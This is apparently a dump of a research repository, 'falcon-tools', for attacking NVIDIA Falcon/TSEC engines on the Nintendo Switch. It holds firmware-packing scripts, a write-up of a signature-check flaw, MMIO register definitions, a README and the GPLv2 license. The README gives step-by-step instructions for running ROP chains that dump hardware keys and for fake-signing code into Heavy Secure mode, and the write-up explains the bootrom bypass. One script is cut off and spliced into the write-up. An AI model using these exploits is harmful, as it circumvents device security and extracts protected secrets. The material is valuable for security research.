| f.write(key_data) 67 | f.write(bytes(key_data_size - key_data_size_unaligned)) 68 | 69 | f.write(blob1) 70 | f.write(bytes(blob1_size - blob1_size_unaligned)) 71 | 72 | # Write keydata offset to configure it dynamically 73 | f.seek(0x1C, 0) 74 | f.write(struct.pack('I', key_data_position)) 75 | 76 | 77 | def main(args): 78 | if len(args) != 4: 79 | print("Usage: blob0_path blob1_path blob1_auth_hash output_path") 80 | else: 81 | generate_firmware(args[0], args[1], unhexlify(args[2]), args[3]) 82 | 83 | 84 | if __name__ == '__main__': 85 | main(sys.argv[1:]) 86 | -------------------------------------------------------------------------------- /tools/cauth_payload_packer.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | from binascii import hexlify, unhexlify 5 | from struct import pack, unpack 6 | import sys 7 | 8 | from Crypto.Cipher import AES 9 | 10 | 11 | def sxor(x, y): 12 | return bytearray(a ^ b for a, b in zip(x, y)) 13 | 14 | 15 | def align_up(value, size): 16 | return (value + (size - 1)) & -size 17 | 18 | 19 | def append_padding(blob, align): 20 | expected_len = align_up(len(blob), align) 21 | return blob + b"\x00" * (expected_len - len(blob)) 22 | 23 | 24 | def craft_key_table(auth_hash, seed, payload_len, cauth_payload_len): 25 | print(hexlify(auth_hash).decode("ascii")) 26 | return append_padding( 27 | pack("16s16sII", auth_hash, seed, payload_len, cauth_payload_len), 28 | 0x100 29 | ) 30 | 31 | 32 | def calculate_davies_meyer_mac(data, address): 33 | ciphertext = bytearray(AES.block_size) 34 | 35 | for i in range(0, len(data), 0x100): 36 | blocks = data[i:i + 0x100] + pack("> 24) & 0xFF) << 8; 49 | 50 | if (microcode_start && microcode_size) { 51 | // Calculate a Davies Meyer MAC over the microcode into crypto register 5. 52 | calculate_davies_meyer_mac((volatile uint8_t *)microcode_start, microcode_size); 53 | 54 | // Load hardware secret 0x1 into crypto register 3. 55 | csecret($c3, 0x1); 56 | 57 | // Set $c3 as the key register for encryption/decryption operations. 58 | ckeyreg($c3); 59 | 60 | // Encrypt the seed in crypto register 7 into crypto register 3. 61 | cenc($c3, $c7); 62 | 63 | // Set crypto register 3 as the key register for encryption/decryption again. 64 | ckeyreg($c3); 65 | 66 | // Encrypt the Davies Meyer MAC in crypto register 5 into crypto register 4. 67 | cenc($c4, $c5); 68 | 69 | // Compare the resulting MAC in crypto register 4 with the hash in crypto register 6. 70 | // Heavy Secure mode will be granted by FSMs in hardware afterwards if the check succeeds. 71 | csigcmp($c4, $c6); 72 | return; 73 | } 74 | 75 | raise_exception(OP_SECURE_FAULT); 76 | } 77 | ``` 78 | 79 | The hardware uses the microcode, its length and its start address to generate a Davies Meyer MAC which 80 | will then be encrypted with the Falcon signing key. For officially signed payloads, this will always be 81 | `aes_encrypt(csecret(0x1), b"00000000000000000000000000000000")`. 82 | 83 | However, that is only because officially signed payloads will set `$c7` to zero at the same time. In reality, 84 | the seed which is stored in this register alongside the MAC in `$c6` will not be validated by the bootrom. 85 | 86 | ## Attack Scenario 87 | 88 | This flaw can be abused through yet another mechanism of the Falcon crypto system: `csigenc`. It works by 89 | encrypting the auth signature of the running HS microcode using an arbitrary crypto register as the key. 90 | And on top of that, an ACL value of `0x13` will be set unconditionally on the register containing the result 91 | of the encryption. 92 | 93 | Generally, crypto registers which have bit 3 (Insecure Readable) set in their ACL value can be spilled into 94 | DMEM with no further access restrictions from a secure context. And that is the case for an ACL value of 0x13! 95 | 96 | By obtaining ROP under a secure payload, an attacker can abuse usages of `csigenc` to encrypt the auth signature 97 | `s` of the running code using a crypto register that was filled with csecret `0x1` in advance. The result of that 98 | encryption will be referred to as "fake signing key" `k` which can then be spilled into DMEM by continuing the ROP 99 | chain. 100 | 101 | On a computer, a signature `fs` for arbitrary microcode can be crafted by generating a Davies Meyer MAC over the code 102 | and its virtual address and encrypting it with AES-128-ECB using `k`. 103 | 104 | From a Non-Secure context, the fake-signed microcode can be mapped to the previously chosen virtual address with `$c6` 105 | being filled with `fs` and `$c7` being filled with `s`. The bootrom will now calculate the signing key `k` that was 106 | previously obtained through ROP under a real-signed payload and the signature check will pass. 107 | -------------------------------------------------------------------------------- /libfaucon/mmio.asm: -------------------------------------------------------------------------------- 1 | .equ #FALCON_IRQSSET 0x0000 2 | .equ #FALCON_IRQSCLR 0x0100 3 | .equ #FALCON_IRQSTAT 0x0200 4 | .equ #FALCON_IRQMODE 0x0300 5 | .equ #FALCON_IRQMSET 0x0400 6 | .equ #FALCON_IRQMCLR 0x0500 7 | .equ #FALCON_IRQMASK 0x0600 8 | .equ #FALCON_IRQDEST 0x0700 9 | .equ #FALCON_GPTMRINT 0x0800 10 | .equ #FALCON_GPTMRVAL 0x0900 11 | .equ #FALCON_GPTMRCTL 0x0A00 12 | .equ #FALCON_PTIMER0 0x0B00 13 | .equ #FALCON_PTIMER1 0x0C00 14 | .equ #FALCON_WDTMRVAL 0x0D00 15 | .equ #FALCON_WDTMRCTL 0x0E00 16 | .equ #FALCON_IRQDEST2 0x0F00 17 | .equ #FALCON_MAILBOX0 0x1000 18 | .equ #FALCON_MAILBOX1 0x1100 19 | .equ #FALCON_ITFEN 0x1200 20 | .equ #FALCON_IDLESTATE 0x1300 21 | .equ #FALCON_CURCTX 0x1400 22 | .equ #FALCON_NXTCTX 0x1500 23 | .equ #FALCON_CTXACK 0x1600 24 | .equ #FALCON_FHSTATE 0x1700 25 | .equ #FALCON_PRIVSTATE 0x1800 26 | .equ #FALCON_MTHDDATA 0x1900 27 | .equ #FALCON_MTHDID 0x1A00 28 | .equ #FALCON_MTHDWDAT 0x1B00 29 | .equ #FALCON_MTHDCOUNT 0x1C00 30 | .equ #FALCON_MTHDPOP 0x1D00 31 | .equ #FALCON_MTHDRAMSZ 0x1E00 32 | .equ #FALCON_SFTRESET 0x1F00 33 | .equ #FALCON_OS 0x2000 34 | .equ #FALCON_RM 0x2100 35 | .equ #FALCON_SOFT_PM 0x2200 36 | .equ #FALCON_SOFT_MODE 0x2300 37 | .equ #FALCON_DEBUG1 0x2400 38 | .equ #FALCON_DEBUGINFO 0x2500 39 | .equ #FALCON_IBRKPT1 0x2600 40 | .equ #FALCON_IBRKPT2 0x2700 41 | .equ #FALCON_CGCTL 0x2800 42 | .equ #FALCON_ENGCTL 0x2900 43 | .equ #FALCON_PMM 0x2A00 44 | .equ #FALCON_ADDR 0x2B00 45 | .equ #FALCON_IBRKPT3 0x2C00 46 | .equ #FALCON_IBRKPT4 0x2D00 47 | .equ #FALCON_IBRKPT5 0x2E00 48 | .equ #FALCON_EXCI 0x3400 49 | .equ #FALCON_SVEC_SPR 0x3500 50 | .equ #FALCON_RSTAT0 0x3600 51 | .equ #FALCON_RSTAT3 0x3700 52 | .equ #FALCON_UNK_E0 0x3800 53 | .equ #FALCON_CPUCTL 0x4000 54 | .equ #FALCON_BOOTVEC 0x4100 55 | .equ #FALCON_HWCFG 0x4200 56 | .equ #FALCON_DMACTL 0x4300 57 | .equ #FALCON_DMATRFBASE 0x4400 58 | .equ #FALCON_DMATRFMOFFS 0x4500 59 | .equ #FALCON_DMATRFCMD 0x4600 60 | .equ #FALCON_DMATRFFBOFFS 0x4700 61 | .equ #FALCON_DMAPOLL_FB 0x4800 62 | .equ #FALCON_DMAPOLL_CP 0x4900 63 | .equ #FALCON_HWCFG2 0x4B00 64 | .equ #FALCON_CPUCTL_ALIAS 0x4C00 65 | .equ #FALCON_STACKCFG 0x4E00 66 | .equ #FALCON_IMCTL 0x5000 67 | .equ #FALCON_IMSTAT 0x5100 68 | .equ #FALCON_TRACEIDX 0x5200 69 | .equ #FALCON_TRACEPC 0x5300 70 | .equ #FALCON_IMFILLRNG0 0x5400 71 | .equ #FALCON_IMFILLRNG1 0x5500 72 | .equ #FALCON_IMFILLCTL 0x5600 73 | .equ #FALCON_IMCTL_DEBUG 0x5700 74 | .equ #FALCON_CMEMBASE 0x5800 75 | .equ #FALCON_DMEMAPERT 0x5900 76 | .equ #FALCON_EXTERRADDR 0x5A00 77 | .equ #FALCON_EXTERRSTAT 0x5B00 78 | .equ #FALCON_CG2 0x5F00 79 | .equ #FALCON_IMEMC0 0x6000 80 | .equ #FALCON_IMEMD0 0x6100 81 | .equ #FALCON_IMEMT0 0x6200 82 | .equ #FALCON_IMEMC1 0x6400 83 | .equ #FALCON_IMEMD1 0x6500 84 | .equ #FALCON_IMEMT1 0x6600 85 | .equ #FALCON_IMEMC2 0x6800 86 | .equ #FALCON_IMEMD2 0x6900 87 | .equ #FALCON_IMEMT2 0x6A00 88 | .equ #FALCON_IMEMC3 0x6C00 89 | .equ #FALCON_IMEMD3 0x6D00 90 | .equ #FALCON_IMEMT3 0x6E00 91 | .equ #FALCON_DMEMC0 0x7000 92 | .equ #FALCON_DMEMD0 0x7100 93 | .equ #FALCON_DMEMC1 0x7200 94 | .equ #FALCON_DMEMD1 0x7300 95 | .equ #FALCON_DMEMC2 0x7400 96 | .equ #FALCON_DMEMD2 0x7500 97 | .equ #FALCON_DMEMC3 0x7600 98 | .equ #FALCON_DMEMD3 0x7700 99 | .equ #FALCON_DMEMC4 0x7800 100 | .equ #FALCON_DMEMD4 0x7900 101 | .equ #FALCON_DMEMC5 0x7A00 102 | .equ #FALCON_DMEMD5 0x7B00 103 | .equ #FALCON_DMEMC6 0x7C00 104 | .equ #FALCON_DMEMD6 0x7D00 105 | .equ #FALCON_DMEMC7 0x7E00 106 | .equ #FALCON_DMEMD7 0x7F00 107 | .equ #FALCON_ICD_CMD 0x8000 108 | .equ #FALCON_ICD_ADDR 0x8100 109 | .equ #FALCON_ICD_WDATA 0x8200 110 | .equ #FALCON_ICD_RDATA 0x8300 111 | .equ #FALCON_SCTL 0x9000 112 | .equ #FALCON_SSTAT 0x9100 113 | .equ #FALCON_UNK_250 0x9400 114 | .equ #FALCON_UNK_260 0x9800 115 | .equ #FALCON_SPROT_IMEM 0xA000 116 | .equ #FALCON_SPROT_DMEM 0xA100 117 | .equ #FALCON_SPROT_CPUCTL 0xA200 118 | .equ #FALCON_SPROT_MISC 0xA300 119 | .equ #FALCON_SPROT_IRQ 0xA400 120 | .equ #FALCON_SPROT_MTHD 0xA500 121 | .equ #FALCON_SPROT_SCTL 0xA600 122 | .equ #FALCON_SPROT_WDTMR 0xA700 123 | .equ #FALCON_DMAINFO_FINISHED_FBRD_LOW 0xB000 124 | .equ #FALCON_DMAINFO_FINISHED_FBRD_HIGH 0xB100 125 | .equ #FALCON_DMAINFO_FINISHED_FBWR_LOW 0xB200 126 | .equ #ALCON_DMAINFO_FINISHED_FBWR_HIGH 0xB300 127 | .equ #FALCON_DMAINFO_CURRENT_FBRD_LOW 0xB400 128 | .equ #FALCON_DMAINFO_CURRENT_FBRD_HIGH 0xB500 129 | .equ #FALCON_DMAINFO_CURRENT_FBWR_LOW 0xB600 130 | .equ #FALCON_DMAINFO_CURRENT_FBWR_HIGH 0xB700 131 | .equ #FALCON_DMAINFO_CTL 0xB800 132 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # falcon-tools 2 | 3 | A toolbox for researching and hacking NVIDIA Falcon microprocessors used in TSEC engines on the Tegra X1. 4 | 5 | The generic goal is to provide a collection of tools, exploits and code for demystifying the Falcon and 6 | its cryptographic functionality to ease up research for people interested in the cryptosystem and in 7 | reversing Nintendo's TSEC firmwares in Package1 and nvservices. 8 | 9 | ## Components 10 | 11 | * [keygenldr](./keygenldr): A set of ROP chains for obtaining keys used by the KeygenLdr payload of the 12 | Nintendo Switch TSEC firmware 13 | 14 | * [keygen](./keygen): A ROP chain targetting the Keygen stage of the TSEC firmware, which generates and 15 | dumps a "fake signing" key 16 | 17 | * [secureboot](./secureboot): A payload that decrypts the SecureBoot stage into memory using csecret 6, 18 | allowing the user to obtain the plaintext of this stage 19 | 20 | * [requiem](./requiem): A template for writing fake-signed Falcon microcode that runs a payload in 21 | Heavy Secure mode; Useful for research and reversing 22 | 23 | * [libfaucon](./libfaucon): A standard library for Falcon firmware development; Features implementations 24 | of commonly used functions and definitions for MMIO registers 25 | 26 | * [payloads](./payloads): A placeholder directory for Falcon firmware blobs which are exploited through 27 | other components in this repository 28 | 29 | * [tools](./tools): Helper scripts for working with TSEC firmware blobs 30 | 31 | ## Usage 32 | 33 | With the components out of the way, the order for using these ROP chains on hardware is as following: 34 | 35 | Prerequisites: Install Python 3.6+ on your machine and get the `PyCryptodome` package via `pip`. Additionally, 36 | you will need [envytools](https://github.com/envytools/envytools), `make`, `m4` on your system. 37 | 38 | 1. Clone this repository and set up an environment for controlling a TSEC engine, e.g. through RCM payloads 39 | on the Nintendo Switch. We're providing a fork of hekate, with GUI adapted to launch a TSEC payload 40 | [right here](https://github.com/CAmadeus/faucon_launcher). 41 | 42 | 2. Get a dump of Package1, preferably from firmware **8.1.0** or **1.0.0**. You don't need to bring the 43 | keys to decrypt the PK11 blob, the TSEC firmware is bundled in its plaintext for Package1ldr. 44 | 45 | 3. Invoke the [`hovi_fw_extractor.py`](./tools/hovi_fw_extractor.py) script with the path to your dump of 46 | Package1 as a command line argument. The script extracts the TSEC firmware and creates a new `tsec_fw.bin` 47 | binary in the same directory. 48 | 49 | 4. Invoke the [`hovi_stage_extractor.py`](./tools/hovi_stage_extractor.py) script with the path to the 50 | **directory** containing the previously extracted `tsec_fw.bin` blob, not the path to the blob itself, 51 | as a command line argument. It will output a folder `stages` in that directory which contains all the 52 | individual stages the TSEC firmware is composed of split up into separate binaries. 53 | 54 | 5. Copy `stages/KeygenLdr.bin` and `stages/Keygen.bin` from the previous step to `payloads/hovi/1.0.0`. 55 | These payloads have never changed since day 1, that's why the Package1 version does not matter here. 56 | Additionally, if on 8.1.0, copy `SecureBoot.bin` to `payloads/hovi/8.1.0`. 8.1.0 or newer is recommended 57 | because this is the version where Nintendo officially deprecated the TSEC firmware. The payload is 58 | unlikely to change ever again in the future (and so are the keys it generates). 59 | 60 | 6. Build the [`keygenldr`](./keygenldr) ROP chain using `make` and select the ROP chain you want to use 61 | (`code_sig_01`, `code_enc_01`) in the Makefile. Depending on the ROP chain, a different key will be copied 62 | to the SOR1 HDCP registers. 63 | 64 | * `CODE_SIG_01` is the AES key used for AES-CMAC over the Boot stage in KeygenLdr. If you want to launch 65 | KeygenLdr with a customized Boot stage, use [`tools/hovi_keygenldr_auth_boot.py`](./tools/hovi_keygenldr_auth_boot.py) 66 | to sign your own blob using this key. 67 | 68 | * `CODE_ENC_01` is the key used for decrypting the following Keygen stage using AES-CBC. Dump this key and 69 | use [`tools/decrypt_blob2.py`](./tools/decrypt_blob2.py) to decrypt `payloads/hovi/1.0.0/Keygen.bin` to 70 | `payloads/hovi/1.0.0/Keygen.dec.bin` **before advancing to the next step**. 71 | 72 | 7. Build the [`keygen`](./keygen) ROP chain using `make` and run it. It will exploit the previously 73 | decrypted `Keygen.dec.bin` blob on hardware to spill `aes_encrypt(csecret(0x1), "892A36228D49E0484D480CB0ACDA0234")` 74 | to the SOR1 HDCP registers. This key can be used as a fake-signing key for the following steps. 75 | 76 | 8. Refer to [this writeup](./requiem/README.md) to learn about fake-signing and what exactly you did just 77 | dump with the Keygen ROP chain. Since this effectively gives you the possibility to sign your own code 78 | into Heavy Secure mode, there are plenty of uses for this: 79 | 80 | * Reverse engineering the behavior of certain crypto commands 81 | 82 | * Dumping all the ACL 0x13 csecrets to SOR1 HDCP registers where they can be read out 83 | 84 | * Decrypting payloads encrypted with csecret 6 (such as the final SecureBoot stage), which is usually done 85 | by the BootROM during authentication through setting a special bit in a register. 86 | 87 | 9. Build the [`secureboot`](./secureboot) payload by first providing `SEED` and `KEY` in the Makefile for 88 | fake signing and then running `make`. Launch the resulting blob, dump the TSEC DMEM to SD card and 89 | extract the decrypted blob starting from address 0 out of the whole memory dump. It can then be analyzed 90 | using [ghidra_falcon](https://github.com/Thog/ghidra_falcon) or another disassembler. 91 | 92 | With all these steps combined, one can obtain the plaintexts of a few specific hardware secrets along with 93 | the plaintext blobs of each stage of the TSEC firmware for research and analysis, which makes this obscure 94 | black box more accessible towards other people without a background in Falcon security. 95 | 96 | ## Credits 97 | 98 | The exploits and tools collected in this repository were developed by [**Thog**](https://github.com/Thog) 99 | and [**vbe0201**](https://github.com/vbe0201). 100 | 101 | We credit the following people for their great contributions to this project: 102 | 103 | * [Elise](https://github.com/EliseZeroTwo) for help and advise in the early stages 104 | 105 | * [SciresM](https://github.com/SciresM) and [hexkyz](https://github.com/hexkyz) for being very helpful and 106 | informative throughout our research 107 | 108 | ## Licensing 109 | 110 | This software is licensed under the terms of the GNU GPLv2. 111 | 112 | See the [LICENSE](./LICENSE) file for details. 113 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 2, June 1991 3 | 4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc., 5 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 6 | Everyone is permitted to copy and distribute verbatim copies 7 | of this license document, but changing it is not allowed. 8 | 9 | Preamble 10 | 11 | The licenses for most software are designed to take away your 12 | freedom to share and change it. By contrast, the GNU General Public 13 | License is intended to guarantee your freedom to share and change free 14 | software--to make sure the software is free for all its users. This 15 | General Public License applies to most of the Free Software 16 | Foundation's software and to any other program whose authors commit to 17 | using it. (Some other Free Software Foundation software is covered by 18 | the GNU Lesser General Public License instead.) You can apply it to 19 | your programs, too. 20 | 21 | When we speak of free software, we are referring to freedom, not 22 | price. Our General Public Licenses are designed to make sure that you 23 | have the freedom to distribute copies of free software (and charge for 24 | this service if you wish), that you receive source code or can get it 25 | if you want it, that you can change the software or use pieces of it 26 | in new free programs; and that you know you can do these things. 27 | 28 | To protect your rights, we need to make restrictions that forbid 29 | anyone to deny you these rights or to ask you to surrender the rights. 30 | These restrictions translate to certain responsibilities for you if you 31 | distribute copies of the software, or if you modify it. 32 | 33 | For example, if you distribute copies of such a program, whether 34 | gratis or for a fee, you must give the recipients all the rights that 35 | you have. You must make sure that they, too, receive or can get the 36 | source code. And you must show them these terms so they know their 37 | rights. 38 | 39 | We protect your rights with two steps: (1) copyright the software, and 40 | (2) offer you this license which gives you legal permission to copy, 41 | distribute and/or modify the software. 42 | 43 | Also, for each author's protection and ours, we want to make certain 44 | that everyone understands that there is no warranty for this free 45 | software. If the software is modified by someone else and passed on, we 46 | want its recipients to know that what they have is not the original, so 47 | that any problems introduced by others will not reflect on the original 48 | authors' reputations. 49 | 50 | Finally, any free program is threatened constantly by software 51 | patents. We wish to avoid the danger that redistributors of a free 52 | program will individually obtain patent licenses, in effect making the 53 | program proprietary. To prevent this, we have made it clear that any 54 | patent must be licensed for everyone's free use or not licensed at all. 55 | 56 | The precise terms and conditions for copying, distribution and 57 | modification follow. 58 | 59 | GNU GENERAL PUBLIC LICENSE 60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 61 | 62 | 0. This License applies to any program or other work which contains 63 | a notice placed by the copyright holder saying it may be distributed 64 | under the terms of this General Public License. The "Program", below, 65 | refers to any such program or work, and a "work based on the Program" 66 | means either the Program or any derivative work under copyright law: 67 | that is to say, a work containing the Program or a portion of it, 68 | either verbatim or with modifications and/or translated into another 69 | language. (Hereinafter, translation is included without limitation in 70 | the term "modification".) Each licensee is addressed as "you". 71 | 72 | Activities other than copying, distribution and modification are not 73 | covered by this License; they are outside its scope. The act of 74 | running the Program is not restricted, and the output from the Program 75 | is covered only if its contents constitute a work based on the 76 | Program (independent of having been made by running the Program). 77 | Whether that is true depends on what the Program does. 78 | 79 | 1. You may copy and distribute verbatim copies of the Program's 80 | source code as you receive it, in any medium, provided that you 81 | conspicuously and appropriately publish on each copy an appropriate 82 | copyright notice and disclaimer of warranty; keep intact all the 83 | notices that refer to this License and to the absence of any warranty; 84 | and give any other recipients of the Program a copy of this License 85 | along with the Program. 86 | 87 | You may charge a fee for the physical act of transferring a copy, and 88 | you may at your option offer warranty protection in exchange for a fee. 89 | 90 | 2. You may modify your copy or copies of the Program or any portion 91 | of it, thus forming a work based on the Program, and copy and 92 | distribute such modifications or work under the terms of Section 1 93 | above, provided that you also meet all of these conditions: 94 | 95 | a) You must cause the modified files to carry prominent notices 96 | stating that you changed the files and the date of any change. 97 | 98 | b) You must cause any work that you distribute or publish, that in 99 | whole or in part contains or is derived from the Program or any 100 | part thereof, to be licensed as a whole at no charge to all third 101 | parties under the terms of this License. 102 | 103 | c) If the modified program normally reads commands interactively 104 | when run, you must cause it, when started running for such 105 | interactive use in the most ordinary way, to print or display an 106 | announcement including an appropriate copyright notice and a 107 | notice that there is no warranty (or else, saying that you provide 108 | a warranty) and that users may redistribute the program under 109 | these conditions, and telling the user how to view a copy of this 110 | License. (Exception: if the Program itself is interactive but 111 | does not normally print such an announcement, your work based on 112 | the Program is not required to print an announcement.) 113 | 114 | These requirements apply to the modified work as a whole. If 115 | identifiable sections of that work are not derived from the Program, 116 | and can be reasonably considered independent and separate works in 117 | themselves, then this License, and its terms, do not apply to those 118 | sections when you distribute them as separate works. But when you 119 | distribute the same sections as part of a whole which is a work based 120 | on the Program, the distribution of the whole must be on the terms of 121 | this License, whose permissions for other licensees extend to the 122 | entire whole, and thus to each and every part regardless of who wrote it. 123 | 124 | Thus, it is not the intent of this section to claim rights or contest 125 | your rights to work written entirely by you; rather, the intent is to 126 | exercise the right to control the distribution of derivative or 127 | collective works based on the Program. 128 | 129 | In addition, mere aggregation of another work not based on the Program 130 | with the Program (or with a work based on the Program) on a volume of 131 | a storage or distribution medium does not bring the other work under 132 | the scope of this License. 133 | 134 | 3. You may copy and distribute the Program (or a work based on it, 135 | under Section 2) in object code or executable form under the terms of 136 | Sections 1 and 2 above provided that you also do one of the following: 137 | 138 | a) Accompany it with the complete corresponding machine-readable 139 | source code, which must be distributed under the terms of Sections 140 | 1 and 2 above on a medium customarily used for software interchange; or, 141 | 142 | b) Accompany it with a written offer, valid for at least three 143 | years, to give any third party, for a charge no more than your 144 | cost of physically performing source distribution, a complete 145 | machine-readable copy of the corresponding source code, to be 146 | distributed under the terms of Sections 1 and 2 above on a medium 147 | customarily used for software interchange; or, 148 | 149 | c) Accompany it with the information you received as to the offer 150 | to distribute corresponding source code. (This alternative is 151 | allowed only for noncommercial distribution and only if you 152 | received the program in object code or executable form with such 153 | an offer, in accord with Subsection b above.) 154 | 155 | The source code for a work means the preferred form of the work for 156 | making modifications to it. For an executable work, complete source 157 | code means all the source code for all modules it contains, plus any 158 | associated interface definition files, plus the scripts used to 159 | control compilation and installation of the executable. However, as a 160 | special exception, the source code distributed need not include 161 | anything that is normally distributed (in either source or binary 162 | form) with the major components (compiler, kernel, and so on) of the 163 | operating system on which the executable runs, unless that component 164 | itself accompanies the executable. 165 | 166 | If distribution of executable or object code is made by offering 167 | access to copy from a designated place, then offering equivalent 168 | access to copy the source code from the same place counts as 169 | distribution of the source code, even though third parties are not 170 | compelled to copy the source along with the object code. 171 | 172 | 4. You may not copy, modify, sublicense, or distribute the Program 173 | except as expressly provided under this License. Any attempt 174 | otherwise to copy, modify, sublicense or distribute the Program is 175 | void, and will automatically terminate your rights under this License. 176 | However, parties who have received copies, or rights, from you under 177 | this License will not have their licenses terminated so long as such 178 | parties remain in full compliance. 179 | 180 | 5. You are not required to accept this License, since you have not 181 | signed it. However, nothing else grants you permission to modify or 182 | distribute the Program or its derivative works. These actions are 183 | prohibited by law if you do not accept this License. Therefore, by 184 | modifying or distributing the Program (or any work based on the 185 | Program), you indicate your acceptance of this License to do so, and 186 | all its terms and conditions for copying, distributing or modifying 187 | the Program or works based on it. 188 | 189 | 6. Each time you redistribute the Program (or any work based on the 190 | Program), the recipient automatically receives a license from the 191 | original licensor to copy, distribute or modify the Program subject to 192 | these terms and conditions. You may not impose any further 193 | restrictions on the recipients' exercise of the rights granted herein. 194 | You are not responsible for enforcing compliance by third parties to 195 | this License. 196 | 197 | 7. If, as a consequence of a court judgment or allegation of patent 198 | infringement or for any other reason (not limited to patent issues), 199 | conditions are imposed on you (whether by court order, agreement or 200 | otherwise) that contradict the conditions of this License, they do not 201 | excuse you from the conditions of this License. If you cannot 202 | distribute so as to satisfy simultaneously your obligations under this 203 | License and any other pertinent obligations, then as a consequence you 204 | may not distribute the Program at all. For example, if a patent 205 | license would not permit royalty-free redistribution of the Program by 206 | all those who receive copies directly or indirectly through you, then 207 | the only way you could satisfy both it and this License would be to 208 | refrain entirely from distribution of the Program. 209 | 210 | If any portion of this section is held invalid or unenforceable under 211 | any particular circumstance, the balance of the section is intended to 212 | apply and the section as a whole is intended to apply in other 213 | circumstances. 214 | 215 | It is not the purpose of this section to induce you to infringe any 216 | patents or other property right claims or to contest validity of any 217 | such claims; this section has the sole purpose of protecting the 218 | integrity of the free software distribution system, which is 219 | implemented by public license practices. Many people have made 220 | generous contributions to the wide range of software distributed 221 | through that system in reliance on consistent application of that 222 | system; it is up to the author/donor to decide if he or she is willing 223 | to distribute software through any other system and a licensee cannot 224 | impose that choice. 225 | 226 | This section is intended to make thoroughly clear what is believed to 227 | be a consequence of the rest of this License. 228 | 229 | 8. If the distribution and/or use of the Program is restricted in 230 | certain countries either by patents or by copyrighted interfaces, the 231 | original copyright holder who places the Program under this License 232 | may add an explicit geographical distribution limitation excluding 233 | those countries, so that distribution is permitted only in or among 234 | countries not thus excluded. In such case, this License incorporates 235 | the limitation as if written in the body of this License. 236 | 237 | 9. The Free Software Foundation may publish revised and/or new versions 238 | of the General Public License from time to time. Such new versions will 239 | be similar in spirit to the present version, but may differ in detail to 240 | address new problems or concerns. 241 | 242 | Each version is given a distinguishing version number. If the Program 243 | specifies a version number of this License which applies to it and "any 244 | later version", you have the option of following the terms and conditions 245 | either of that version or of any later version published by the Free 246 | Software Foundation. If the Program does not specify a version number of 247 | this License, you may choose any version ever published by the Free Software 248 | Foundation. 249 | 250 | 10. If you wish to incorporate parts of the Program into other free 251 | programs whose distribution conditions are different, write to the author 252 | to ask for permission. For software which is copyrighted by the Free 253 | Software Foundation, write to the Free Software Foundation; we sometimes 254 | make exceptions for this. Our decision will be guided by the two goals 255 | of preserving the free status of all derivatives of our free software and 256 | of promoting the sharing and reuse of software generally. 257 | 258 | NO WARRANTY 259 | 260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY 261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN 262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES 263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED 264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS 266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE 267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, 268 | REPAIR OR CORRECTION. 269 | 270 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR 272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, 273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING 274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED 275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY 276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER 277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE 278 | POSSIBILITY OF SUCH DAMAGES. 279 | 280 | END OF TERMS AND CONDITIONS 281 | 282 | How to Apply These Terms to Your New Programs 283 | 284 | If you develop a new program, and you want it to be of the greatest 285 | possible use to the public, the best way to achieve this is to make it 286 | free software which everyone can redistribute and change under these terms. 287 | 288 | To do so, attach the following notices to the program. It is safest 289 | to attach them to the start of each source file to most effectively 290 | convey the exclusion of warranty; and each file should have at least 291 | the "copyright" line and a pointer to where the full notice is found. 292 | 293 | 294 | Copyright (C) 295 | 296 | This program is free software; you can redistribute it and/or modify 297 | it under the terms of the GNU General Public License as published by 298 | the Free Software Foundation; either version 2 of the License, or 299 | (at your option) any later version. 300 | 301 | This program is distributed in the hope that it will be useful, 302 | but WITHOUT ANY WARRANTY; without even the implied warranty of 303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 304 | GNU General Public License for more details. 305 | 306 | You should have received a copy of the GNU General Public License along 307 | with this program; if not, write to the Free Software Foundation, Inc., 308 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. 309 | 310 | Also add information on how to contact you by electronic and paper mail. 311 | 312 | If the program is interactive, make it output a short notice like this 313 | when it starts in an interactive mode: 314 | 315 | Gnomovision version 69, Copyright (C) year name of author 316 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 317 | This is free software, and you are welcome to redistribute it 318 | under certain conditions; type `show c' for details. 319 | 320 | The hypothetical commands `show w' and `show c' should show the appropriate 321 | parts of the General Public License. Of course, the commands you use may 322 | be called something other than `show w' and `show c'; they could even be 323 | mouse-clicks or menu items--whatever suits your program. 324 | 325 | You should also get your employer (if you work as a programmer) or your 326 | school, if any, to sign a "copyright disclaimer" for the program, if 327 | necessary. Here is a sample; alter the names: 328 | 329 | Yoyodyne, Inc., 